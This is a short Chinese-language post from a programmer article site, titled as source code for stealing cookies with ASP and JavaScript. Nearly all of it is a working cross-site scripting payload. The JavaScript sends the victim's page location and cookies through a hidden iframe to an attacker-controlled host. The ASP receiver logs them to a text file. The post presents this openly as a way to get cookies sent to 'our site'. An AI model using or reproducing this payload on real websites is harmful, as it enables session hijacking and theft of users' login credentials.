欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

asp+js 偷取Cookies源代码

程序员文章站 2022-04-07 08:15:30
偷取Cookie,通过以下脚本引入一个js,document.write(""),然后js内容为: var code;          var target = "h... 09-04-20...
偷取cookie,通过以下脚本引入一个js,document.write("<script src=xx.js></script>"),然后js内容为:
var code;         
var target = "http://www.xxx.net/cookie.asp?";
info=escape(document.location+"@@@"+document.cookie);
target=target+info;
code="<iframe style='display:none;' src=";
code=code+target;         
code=code+" width=0 height=0></iframe>";
document.write(code);

这样就可以将cookie等信息传到我们的站点了!cookie.asp内容为:

复制代码
代码如下:

dim fso,file,str        
str=unescape(request.servervariables("query_string"))    
const forreading = 1, forwriting = 2, forappending = 8
set fso = server.createobject("scripting.filesystemobject") 
path = server.mappath("xxx.txt")     
set file=fso.opentextfile(path, forappending, true)   
file.write("xss:")
file.write(str)        
file.write vbcrlf       
file.close
set file = nothing        
set fso = nothing